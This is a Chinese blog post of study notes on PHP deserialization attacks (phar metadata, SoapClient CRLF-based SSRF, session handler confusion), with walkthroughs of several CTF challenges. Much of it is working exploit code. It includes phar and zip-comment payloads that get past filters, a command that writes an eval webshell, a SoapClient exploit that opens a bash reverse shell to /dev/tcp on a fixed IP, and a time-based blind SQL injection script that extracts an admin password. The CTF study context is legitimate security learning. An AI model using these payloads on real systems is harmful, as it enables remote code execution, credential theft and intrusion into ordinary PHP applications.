php其他反序列化知识学习

发布于:2024-04-14 ⋅ 阅读:(287) ⋅ 点赞:(0)

简单总结一下最近学习的,php其他的一些反序列化知识

  • phar

  • soap

  • session

  • 其他

    • __wakeup绕过
    • gc绕过异常
    • 非公有属性,类名大小写不敏感
    • 正则匹配,十六进制绕过关键字检测
    • 原生类的利用

phar

基础知识

在 之前学习的反序列化利用中,都要用到unserlize这个反序列化方法,然后构造pop链子,但是通过读取phar文件,即使不使用unserlize,也可以触发反序列化操作

phar文件是php特有的一种归档(压缩)文件,可以把多个文件归档为1个文件,提供了一种将完整的PHP应用程序分发到单个文件中并从该文件运行它的方法,而无需将其提取到磁盘中,php可以通过phar://伪协议在不过分解压的情况下,访问phar文件,并执行其中的php程序

phar文件的基本结构如下

  1. stub:phar文件标志
    phar文件在文件开头有一个特殊的标志,如aaa<?php bbb; __HALT_COMPILER();?>aaa,bbb可以是任意内容,但是<?php __HALT_COMPILER();?>必须 存在,就是一定有<?php 、 <?=<script language="php">这种php标签对,标签对中含有 __HALT_COMPILER();
  2. manifest
    存储着每个被压缩文件的权限,属性等信息,这部分还会以序列化的形式存储用户自定义的meta-data,特定函数读取时会反序列化,这是phar反序列化利用中最核心的地方
  3. file contents
    被压缩文件的内容
  4. signature
    phar文件的签名,用于验证phar文件的完整性和真实性

我们可以先写个小程序,看看生成的phar文件具体结构(要将php.ini中的phar.readonly选项设置为Off,否则会报错,无法生成phar文件)

<?php
class myObject
{
    public $name = 'helloworld';
}
// 用php的内置类Phar,创建一个名为 phar.phar 的 PHAR文件对象,并赋值给变量 $phar
$phar = new Phar("phar.phar");
// 开始 PHAR 文件的缓冲区,用于批量操作,避免频繁写入磁盘
$phar->startBuffering();
// 设置 PHAR 文件的 Stub,即 PHAR 文件的启动代码,用于启动 PHAR 中的脚本
$phar->setStub("<?php __HALT_COMPILER();?>");
$info = new myObject();
// 设置 PHAR 文件的可自定义的元数据
$phar->setMetadata($info);
// 向 PHAR 文件中添加一个名为 a.txt 的文件,并将内容设置为 'a'
$phar->addFromString("a.txt", "a");
// 停止 PHAR 文件的缓冲区,将缓冲区中的操作写入到 PHAR 文件中
$phar->stopBuffering();
?>

用xxd工具(Linux 下的十六进制编辑工具)查看一下生成的phar文件

在这里插入图片描述

可以看到phar文件里,有文件头,还有自定义的被序列化的,我们传入的一个对象

利用条件

如果一些文件操作函数通过phar://伪协议读取phar文件时,就会将meta-data反序列化,相关函数如下

copy, file_exists, file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,fileinode, filemtime, fileowner, fileperms, fopen, is_dir, is_executable,is_file, is_link.is_readable,is_writable,,parse_ini_file,readfile,stat,unlink,exif _thumbnail,exif_imagetype, imageloadfont, imagecreatefrom, hash_hmac_file, hash_ile, hash_update_filemd5_file, sha1_file, get meta_tags, get_header,getimagesize, getimagesizefromstring ,extractTo_is_wirtble、info_file

利用条件如下:

  1. phar可以上传到服务器端(存在文件上传)
  2. 要有可用的魔术方法作为“跳板”。利用之前学习的魔术方法构造pop链
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤

实验测试

使用网上大佬的程序来测试,

upload.html

<html>
<body>
<form action="http://192.168.184.200/pharsnap/upload_files.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>
</html>

upload_files.php

<?php
if (isset($_FILES["file"])) {
    echo "Upload: " . $_FILES["file"]["name"]."<br/>";
    echo "Type: " . $_FILES["file"]["type"]."<br/>";
    echo "Temp file: " . $_FILES["file"]["tmp_name"]."<br/>";

    if (file_exists("upload/" . $_FILES["file"]["name"])) {
        echo $_FILES["file"]["name"] . " already exists. ";
    } else {
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" .$_FILES["file"]["name"]);
        echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
    }
} else {
    echo "No file uploaded.";
}
?>

read.php

<?php
$filename=@$_GET['filename'];
echo 'please give me a filename by get'.'<br />';
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        system($this -> output);
    }
}
    if(file_exists($filename)){
        $a = new AnyClass();
    }
    else{
        echo 'file is not exists';
    }
?>

重点在read.php,使用了 file_exists 函数,它在受影响函数之中,在用phar协议读取文件时会反序列化其中数据,

利用思路:

read.php的AnyClass类中的__destruct魔术方法中,有eval这个可以执行系统命令的方法,是可以利用的,而且存在file_exists这个可以触发的函数,所在在file_exists中用phar://伪协议读取我们上传的phar文件,就会反序列化其中的数据,我们在自己的phar中设置$output为系统命令即可

exp:

<?php

class AnyClass
{
    public $output="('ls /');";
}

$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$info=new AnyClass();
$phar->setMetadata($info);
$phar->addFromString("a.txt","a");
$phar->stopBuffering();
?>

payload:

?filename=phar://upload/phar.phar/a.txt  

结果

在这里插入图片描述

命令执行成功,总的来说就两点:

  1. 找会触发反序列化的方法和文件上传或写入的点
  2. 构造pop链执行rce

相关绕过

在实验代码中加一个file_get_contents,这个函数触发反序列化相对更容易,容易测试

phar不能在开头

数据压缩绕过(要安装对应的拓展)

compress.bzip2://phar://phar.phar/a.txt  
compress.zlib://phar://phar.phar/a.txt

放其他伪协议在开头绕过

php://filter/resource=phar://phar.phar/a.txt

__HALT_COMPILER特征检测

1.压缩绕过,gzip或zip

如果对phar的特征:__HALT_COMPILER进行了过滤,可以使用gzip对phar文件再压缩一次,这时__HALT_COMPILER就没有了

!在这里插入图片描述

直接phar读取或者配合文件包含,也是可以触发反序列化的

?filename=phar://upload/phar.phar.gz/a.txt   #gz要访问gz中的phar中设置的a.txt
?filename=phar://upload/phar.zip/phar.phar   #zip只要访问zip中的phar即可,名字随意,后缀要phar

在这里插入图片描述

2.zip压缩,把序列化内容写入zip的注释,那为什么不直接压缩为zip,传上去然后访问嘛,为什么还要多此一举?

因为通常文件上传中只能上传图片,本地测试发现,gzip压缩后的文件.gz,改后缀为png,再去访问,仍然可以反序列化执行命令

但是zip文件.zip,转为png后,中间序列化的内容有丢失,再去访问会执行命令失败

原来的phar内容:

在这里插入图片描述

中间的命令尝试写入一句话,压缩为zip,再转为png,尝试访问

在这里插入图片描述

在这里插入图片描述

结果发现一句话的内容消失了,写入失败,但是如果把序列化内容写入zip中的注释,转为png不会消失,php处理代码如下

$phar_file = serialize($info);
$zip = new ZipArchive();
$res = $zip->open('1.zip', ZipArchive::CREATE);
$zip->addFromString('a', 'hellowrold');//设置zip要压缩的文件名和内容
$zip->setArchiveComment($phar_file); // 设置了 ZIP 文件的注释为序列化后的内容
$zip->close();
rename("1.zip","1.png");

在这里插入图片描述

在这里插入图片描述

一句话写入成功

文件头检测

如果通过检测文件头来检测是否是图片,可以在设置stub时增加GIF89a(gif图片文件头)绕过,如

$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");

如果过滤问号,可以<script language="php">绕过,如

$phar->setStub("GIF89a"."<script language='php'> __HALT_COMPILER();</script>");

题目实战

SWPU2018 SimplePHP

buu在维护,题目做不了,不过给了一个大佬写的yaml文件,于是起个docker

在这里插入图片描述

可以看到有查看文件和上传文件两个页面,看看页面源码

在这里插入图片描述

可以看到查看文件的文件名通过file传递,感觉可以通过查看题目源码,在这里插入图片描述

果然可以,想直接file=f1ag.php,提示文件不存在,被ban了

那就把其他的php文件代码都看看

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> 
        <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> 
    p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label> 
    <input type="file" name="file" id="file"><br> 
    <input type="submit" name="submit" value="提交"> 
</div> 

</script> 
</body> 
</html>

function.php 处理上传的文件

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

file.php 展示文件

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

还有class.php,一起看看

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

base.php基本纯html,就不展示了

源码中直接提示就是考phar反序列化,触发点应该在file_exist函数,没看到有可以执行系统命令的地方,但是test类中有file_get_contents,利用这个函数读取flag.php

开始构造pop链(如何构造及其原理之前的笔记学习过了,这里不在赘述)一样的,反向思考如何构造:

1.最终利用的是Test类中的file_get->file_get_contents获取flag,这个方法在get方法中调用,传给file_get的value由数组params中有没有$key这个健决定

2.get方法在__get方法调用,__get在访问类中不存在的变量时调用,访问的变量名会被作为字符串传入该方法中

3.Show类的toString方法中$content = $this->str['str']->source;,如果$this->str['str']赋值为Test实例,就是访问了Test类中不存在的对象,触发__get, ‘source’传入该方法,如果把Test类中的params数组中,设置一个同名健source,值为’/var/www/html/f1ag.php’,就能成功访问

4.C1e4r的__destruct__->echo $this->test;,把test设置为Show实例,触发Show类的toStting

exp如下:

<?php
class C1e4r
{
    public $test;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}
//pop链
$a=new C1e4r();
$b=new Show();
$c=new Test();
$a->str=$b;  //触发show的toString
$a->str->str['str']=$c;  //访问test类的不存在属性,触发__get
$c->params['source']="/var/www/html/f1ag.php";
//生成phar文件
$phar=new Phar("1.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString("a.txt","a");
$phar->stopBuffering();
rename("1.phar","1.png");
?>

直接访问/upload,得到文件名

在这里插入图片描述

在file.php,使用phar协议访问即可

在这里插入图片描述

解码后发现啥也没有,进入docker的shell发现原本就是这样

newstar2023 pharone

今天发现可以做题了,直接启动

在这里插入图片描述

有一个上传页,源码提示有class.php,代码如下:

<?php
highlight_file(__FILE__);
class Flag{
    public $cmd;
    public function __destruct()
    {
        @exec($this->cmd);
    }
}
@unlink($_POST['file']);

有unlink方法,很明显就是phar反序列化,exec执行系统命令是没有直接的回显的,所以要写个webshell进去

主页上传发现,只能上传图片,上传成功,会回显文件名路径

在这里插入图片描述

直接生成phar,转png,试试

上传结果发现

在这里插入图片描述

过滤了__HALT_COMPILER这个文件特征,把序列化内容写入zip注释吧,

完整的exp:

<?php
class Flag
{
    public $cmd="echo '<?=@eval(\$_POST[cmd]);' > /var/www/html/shell.php";
}
$info=new Flag();
$phar_file = serialize($info);
$zip = new ZipArchive();
$res = $zip->open('1.zip', ZipArchive::CREATE);
$zip->addFromString('a', 'hellowrold');//设置zip要压缩的文件内容
$zip->setArchiveComment($phar_file); // 这一行设置了 ZIP 文件的注释为序列化后的内容
$zip->close();
rename("1.zip","1.png");
?>

在这里插入图片描述

上传成功,直接在class.php传入

file=phar://upload/4a47a0db6e60853dedfcfdf08a5ca249.png/phar.phar

然后蚁剑连接shell.php ,查看flag

在这里插入图片描述

成功

soap

基础知识

SOAP(Simple Object Access Protocol)是一种用于在网络上交换结构化信息的协议。它通常用于实现分布式系统中的远程过程调用(调用服务器上的方法),允许不同的计算机在网络上进行通信并交换数据。其特点有但不限于:

基于 XML:SOAP 使用 XML 格式来封装和传输数据。这使得它能够支持复杂的数据结构和对象,并且与不同的编程语言和平台兼容。

支持多种传输协议:SOAP 可以使用多种传输协议来进行数据传输,其中最常用的是 HTTP 和 HTTPS。但 SOAP 也可以基于其他协议如 SMTP、JMS 等进行传输。

正常的一次soap请求demo如下:

<?php
// 创建 SoapClient 对象
$client = new SoapClient(null, array(
    'location' => 'http://192.168.184.150:1234', #location->请求的地址
    'uri' => 'goodgoodstudydaydayup'    //命名标识符,唯一标识服务端的应用程序或服务。
));

// 设置要调用的 SOAP 方法,服务端要有定义和实现,才能获取到数据
$method = 'getWeather';

// 使用 __soapCall() 方法发送 SOAP 请求
try {
    $response = $client->__soapCall($method, array());
    // 处理响应
    echo "Response: " . $response;
} catch (SoapFault $e) {
    // 处理 SOAP 错误
    echo "SOAP Error: " . $e->getMessage();
}
?>

服务端收到的http请求包

在这里插入图片描述

由于服务端并没有定义getWeather方法,所以这次soap请求拿不到相关数据,

利用方法

触发__call

正常的soap请求是调用SoapClient对象的__soapCall实现的,但是如果调用了该对象中不存在的方法,会触发__call魔术方法,这个方法也会发送soap请求,

如:

<?php
$a = new SoapClient(null,array('location'=>'http://192.168.184.150:1234', 'uri'=>'goodgoodstudydaydayup'));
$a->a();    // 调用SoapClient实例对象中不存在的方法, 触发__call方法,发送请求
?>

在这里插入图片描述

所以soap的反序列化不需要构造pop链,只要有反序列化的过程和调用不存在的方法即可,但是只是发送一个拿不到数据的请求没有意思,我们可以通过CRLF注入,构造出我们想要的数据包,发送到服务端,让服务端带着这个数据包去发送请求(ssrf),拿到我们想要的数据

CRLF注入

需要先了解一下http协议数据包的结构:

https://www.cnblogs.com/huansky/p/14007810.html

不论是请求报文还是响应报文,各行数据通过回车换行符分割,这个回车换行符就是\r\n,url编码后是%0d%0a,即为CRLF,头部和数据正文之间隔了两个CRLF

如果用户输入会出现在,服务端http响应的header中,CRLF注入就可以控制响应头中出现我们设置的内容,如

在这里插入图片描述

用户的输入会出现在location中,如果输入变为

http://192.168.184.200/locat.php?url=http://www.baidu.com%0d%0aSet-Cookie:token%3D123456

这个输入中注入了一个CRLF,本来这整个值都应出现在Location的值中,但服务器在读取完 Location:http://www.baidu.com后,读取到了一个CRLF,会认为这个键值对已经结束,就会准备开始读取下一个头部中键值对,而Set-Cookie:token%3D123456,url解码后,是可以被正常读取的键值对,这样一来就会在请求头中设置了我们自己的cookie

现在通过 Location 字段的 302 跳转进行 CRLF 注入这个漏洞已经被修复了,但是了解了原理之后,我们可以通过CRLF配合soap,启动ssrf

例如在user-agent注入CRLF,

<?php
$a = new SoapClient(null,array('location'=>'http://192.168.184.150:1234','user_agent'=>"soap\r\nSet-Cookie:token=helloworld" ,'uri'=>'goodgoodstudydaydayup'));
$a->a();    // 调用SoapClient实例对象中不存在的方法, 触发__call方法,发送请求
?>

在这里,我在user-agent后面注入了一个CRLF,然后设置Set-Cookie:token=helloworld,结果

在这里插入图片描述

服务端接受到数据包中,头部出现了Set-Cookie键值对,注入一个crlf就能修改或增加一个键值对,可以看到,soap的http请求是POST方法,要实现ssrf,我们要通过注入多个CRLF,修改Conent-Type,content-Length,还要插入我们自己的数据代替原来的xml数据,使这个post请求变成我们想要的

<?php
$target = 'http://192.168.184.150:1234';
$post_data = 'data=whoami';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

在这里插入图片描述

$a = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));

exp这一句,每注入一个CRLF,就修改一个键值对,请求头和请求数据要插入2个CRLF,我们就可以通过这样构造的post请求,进行ssrf

实验学习

test.php

<?php
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       eval($_POST['cmd']);
   }
else{
    echo "not localhost";
}
$a=unserialize($_GET['a']);
$a->play();
?>

可以看到,程序中有反序列化操作,并且调用了play这个未定义方法,,要求REMOTE_ADDR为127.0.0.1,才能执行命令,所以我们可以传入自己构造的序列化后的soap对象,反序列化后触发__call方法,进行ssrf, exp如下

<?php
$poc = "cmd=".urlencode('system("bash -c \'bash -i >& /dev/tcp/192.168.184.150/1234 0>&1\'");?>');
$a = new SoapClient(null,array('uri'=>"aaaa", 'location'=>'http://127.0.0.1/test.php',"user_agent"=>"helloworld\r\nContent-Length: ".strlen($poc)."\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n".$poc,"keep_alive"=>false));
$b = serialize($a);
echo urlencode($b);

在这里插入图片描述

shell反弹成功,总结利用条件:

1.程序中有反序列化操作

2.支持soap服务,调用了未定义方法

题目实战

easy_harder_php

综合性很强的题,搞了好久,最后还没做出来

在这里插入图片描述

题目首页url参数有action=login,感觉可以任意文件读取,尝试

在这里插入图片描述

果然有,那就需要知道其他php文件名,然后读取,dirsearch扫一下,

在这里插入图片描述

发现config.php,后加~可以读取,然后顺藤摸瓜发现了三个php文件的源代码,cofig,index,user

代码都很长,就不粘贴过来了

思路

没做出来,看了wp还是没法复现,简单记录一下思路吧

看了代码后,在user.php->publish发现admin登录后才有文件上传的功能,

在这里插入图片描述

但是在user.php->login中,admin登录不仅要密码正确,还要本地登录,感觉要ssrf,于是寻找可能的ssrf触发点

在这里插入图片描述

寻找了一圈没啥收获,但是在user.php->showmess中发现了没有pop链的反序列化,而且,下面调用了getcountry未定义方法,想到用soap来ssrf

在这里插入图片描述

不知道从哪里可以拿到admin的密码,但是发现操作数据库的sql中都是直接拼接的,感觉可以sql注入,注册和登录都不行,要输入MD5的验证码

登录后的insert中有

在这里插入图片描述

在这里插入图片描述

插入的语句没有什么验证,插入一个a,后面再跟上的我们的时间注入payload即可,表名字段,存储密码长度都能从源码中得知,exp如下:

import requests
import time
from datetime import datetime
url_target='http://c4790c8b-ff2c-4d42-b109-c99e764602fb.node5.buuoj.cn:81/index.php?action=publish'
cookie={'PHPSESSID':'4p269bclqkqpic4v928so6goh3'}
data={
    'signature':'',
    'mood':'0'
}
passwd=''
for i in range(1,33):
    time.sleep(0.5)
    for k in range(33,127):
        sql=f'a`,if(ord(substr((select password from ctf_users where username=`admin`),{i},1))={k},sleep(2),null))#'
        data['signature']=sql
        start = datetime.now()
        res=requests.post(url=url_target,data=data,cookies=cookie,timeout=3)
        end = datetime.now()
        sec = (end - start).seconds
        if sec >= 2:
                passwd+=chr(k)
                print(passwd)

结果

在这里插入图片描述

拿去md5碰撞网站试试,得到为nu1ladmin

用脚本生成soap序列化字符串,在这里要用两个浏览器,一个停留在登录页面,把要用的验证码和cookie中的PHPSESSID,保留下来,放入soap请求包,另一个浏览器用普通用户登录,pubilsh插入我们构造的soap序列化数据,exp:

<?php
$target = 'http://c360d287-8204-45d0-8d8d-7180e8bfd8c8.node5.buuoj.cn:81//index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=IWAPX5COOXSFNBuuWbP4';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=s3r1gfsk5288rntocmg8fhdlg3'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
$a = str_replace('&','&',$a);
echo $a;
?>

然后把序列化字符串转为十六进制,点击publish,执行插入语句

在这里插入图片描述

网上的wp都是插入后,再刷新就是admin,但我总是失败,不知道为啥,最后试了一下直接包含根目录下的flag,还真有

在这里插入图片描述

不知道是不是验证码没处理好,导致无法admin,验证码是MD5碰撞求得,分享一下大佬写的脚本

import multiprocessing
import hashlib
import random
import string
import sys

# 定义字符集,包括大小写字母和数字
CHARS = string.ascii_letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    """比较MD5哈希值的函数"""
    global CHARS
    while not stop_event.is_set():
        # 生成随机字符串
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        # 计算MD5哈希值
        md5 = hashlib.md5(rnds.encode('utf8'))
        value = md5.hexdigest()
        # 检查哈希值是否满足条件并输出
        if value[start: start + str_len] == substr:
            print(rnds)
            print(value)
            # 设置停止事件,停止其他进程
            stop_event.set()


if __name__ == '__main__':
    # 从命令行参数获取目标MD5哈希值的起始子字符串和搜索起始位置
    substr = sys.argv[1].strip()
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    # 获取计算机CPU核心数
    cpus = multiprocessing.cpu_count()
    # 创建一个事件对象来协调进程之间的停止
    stop_event = multiprocessing.Event()
    # 创建多个进程,每个进程运行cmp_md5函数以搜索满足条件的字符串
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos))
                 for i in range(cpus)]
    # 启动所有进程
    for p in processes:
        p.start()
    # 等待所有进程完成
    for p in processes:
        p.join()

session

基础知识

SESSION的一些知识在学习会话文件包含时学习过,现在学习一下SESSION在反序列化中的利用点的一些基础知识

php有三种session的处理器(php,php_serialize,php_binary ,默认为php),用于把session会话信息存储到文件中,各自都有不同的session存储和使用的机制,但存到文件里的都是类似序列化的数据,不同的处理有一些差别,如下面的demo

<?php
ini_set("session.serialize_handler", "php_serialize");
highlight_file(__FILE__);
session_start();
$_SESSION['name']=$_GET['name'];
?>

传入name=helloworld,三种处理器存储的数据如下

处理器 数据
php `name
php_serialize a:1:{s:4:"name";s:10:"helloworld";}
php_binary names:10:"helloworld";

如果多传一个sex属性,存到SESSION数组中存储如下

在这里插入图片描述

可以看到,php处理器存储就是键名|序列化数据,php_serialize就是a:键值对个数:{序列化数据},php_binary就是键名后直接跟序列化数据

利用条件:

1.两个不同的php文件,使用了不同的会话文件处理器,序列化存储文件时用php_serialize,但默认是php,可能要通过别的方式修改,反序列化会话文件是php

在这里插入图片描述

2.调用了session_start()或php.ini中session.auto_start=1,调用了session_start(),如果之前已经存在会话,就会去反序列化session文件

利用方法:

就是利用这两个处理器不同的处理机制(对于|的处理不同),在上面学习过他们的存储方式,php存储时会用|分割键值,但php_serialize存储时就没有,

也就是说,php_serialize反序列化会把|当作普通字符串,如果是php,遇到|,就会反序列化后面内容,把|前面的当作键值,如果我们能控制输入$_SESSION数组的变量,控制为|(对象序列化字符串),php_serialize会当作普通字符串存储,但php反序列化读取时,就会成功反序列化对象序列化字符串,生成我们想要的对象,

在文件包含时了解过,如果不主动往session数组中传数据,默认session文件是没有内容的,所以SESSION反序列化也分$_SESSION变量可控和不可控

实验学习

$_SESSION变量可控

除了上面的demo,再加一个class.php

<?php
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
class Man
{
  public $name;
  function __destruct()

  {
        system($this->name);
  }
}
session_start();
var_dump($_SESSION);
?>

$_SESSION变量可控,就是我们可以往$_SESSION数组传入数据

可以看看这篇大佬的文章,https://blog.csdn.net/weixin_57567655/article/details/121899648,讲的通俗易懂

例如:在这个实验中,先生成我们的Man序列化字符串

<?php
class Man
{
	public $name='ls /';
}
echo serialize(new Man());
?>

在得到到结果前加上|,变为|O:3:"Man":1:{s:4:"name";s:4:"ls /";}

传入给name,查看session文件,

在这里插入图片描述

查看class.php,在这里插入图片描述

$_SESSION变量不可控

利用uoload_progress,手动构建文件上传,具体原理在学习文件包含时了解了,这里简单复习一下

在文件上传的同时,post传一个字段,PHP_SESSION_UPLOAD_PROGRESS,值任意,php这时就会自动创建会话,并往$_SESSION数组中写入数据(关于文件上传的进度),我们传的PHP_SESSION_UPLOAD_PROGRESS的值会和upload_progress拼接在一起,作为session文件中的一个健

条件:

session.upload_progress.enabled=On,默认情况下就是On
默认情况下,session.upload_progress.clean=On,文件上传结束后就会清除session中的相关数据,这时就要条件竞争(之前学习文件包含的文章中已经测试过),这里改为off,方便测试

手动构建文件上传,在原来的前端页面下,打开F12,选中body元素,选择以html格式修改,就可以手动添加一个文件上传的表单

在这里插入图片描述

在可以构造pop链的php文件,构造上传表单:

form action="sess.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> 
 <input type="file" name="file1" />
 <input type="submit" />
</form>

随便上传一个文件,在bp中修改filename

"|O:3:\"Man\":1:{s:4:\"name\";s:4:\"ls /\";}"

在这里插入图片描述

记得转义序列化数据中的双引号,或者filename的内容,用单引号包裹

!在这里插入图片描述

反序列化成功,命令成功执行

题目实战

bestphp’s revenge

题目源码

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);+++++++
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

乍一看,看不出什么,扫描一下,发现flag.php

<?php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1") {
    $_SESSION['flag'] = $flag;
}
?>

发现要求本地访问,然后就会往session中写入flag,想到要用ssrf,首页源码中有call_user_func函数,它会把传入的第一个参数当作回调函数,后面的参数当作传入该函数的变量,然后执行该函数,感觉有可能让welcome_to_the_lctf2018作为一个未定义方法,让soap对象调用,就可以ssrf访问flag.php了,不知道该如何操作,上网查阅资料后才理清了利用思路

在第二个call_user_func中,如果把$b再设置为call_user_func,那么传给它的就是一个数组$a,它有两个元素,第一个reset($_SESSION)(也就是$_GET['name']),第二个是welcome_to_the_lctf2018,传给call_user_func如果只有一个数组,那么就会把数组第一个值当作回调函数,后面的值当作该方法的参数,所以$_GET['name']是方法名,welcome_to_the_lctf2018是方法,相当于$_GET['name']->welcome_to_the_lctf2018如果$_GET['name']是我们传入的soapclient对象,就可以触发ssrf,传入soap对象序列化数据,session_start()就可以反序列化来还原

但b似乎是写死的implode,可以修改吗?其实是可以的,只要把$_GET['f']设为extract,利用这个函数的来变量覆盖修改b,原理如下:

PHP extract() 函数用于将数组中的键作为变量名,将对应的值作为变量值导入到当前程序的符号表中
在PHP中,符号表(Symbol Table)是一个内部数据结构,用于跟踪当前脚本中定义的变量和它们的值。在PHP脚本执行期间,符号表记录了所有已经声明的变量及其对应的值,并且可以动态地添加、修改和删除这些变量。
extract()导入变量名和值时,如果原来已经存在相同的变量名,那么旧的值会被数组中同名的健对应的值替换掉

举个例子:

<?php
// 用户通过表单提交了一些数据,例如:
$hobby='play';
// 为了方便,直接使用 extract() 函数将 $_GET 数据导入到当前符号表中,以便后续使用
extract($_GET);
echo "用户: ".$name." 性别: ".$sex."<br>";
echo "your hobby is $hooby";
?>

可以看到,本来hobby的值为play,可以是我们通过get方式传入一个同名变量,使值为study,play就会被study覆盖,如:

在这里插入图片描述

所以在那道题中,要发送两次请求,第一次给name赋值soap序列化数据写入session数组,同时利用call_user_func($_GET['f'], $_POST);,f赋值为session_start(), post 传 serialize_handler=php_serialize ,修改session文件序列化处理器

!在这里插入图片描述

成功写入到session文件中,

生成soap序列化数据的exp:

<?php
$target = 'http://127.0.0.1/flag.php';
$post_data = '';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=123456'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
echo "|".urlencode($b);

手动在数据包中,添加发送序列化数据后,响应包中给的cookie,然后正常访问,让程序默认的php处理器,反序列化session文件,发现成功还原SoapClient对象

在这里插入图片描述

这一次,get给f传extract,post传b=call_user_func,让程序还原了soapcilent对象后,发送soap请求
